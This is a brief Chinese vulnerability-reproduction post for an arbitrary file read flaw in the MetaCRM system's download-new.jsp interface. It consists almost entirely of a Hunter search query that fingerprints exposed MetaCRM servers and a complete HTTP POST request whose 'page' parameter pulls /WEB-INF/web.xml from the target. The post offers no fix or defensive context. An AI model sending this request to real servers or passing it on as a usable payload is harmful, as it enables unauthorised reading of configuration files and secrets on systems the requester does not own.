【漏洞复现】MetaCRM美特crm系统download-new.jsp接口存在任意文件读取漏洞

鹰图平台
web.body="/common/scripts/basic.js"&&web.body="www.metacrm.com.cn"

POST /business/common/download-new.jsp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host:
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
filename=1.png&page=/WEB-INF/web.xml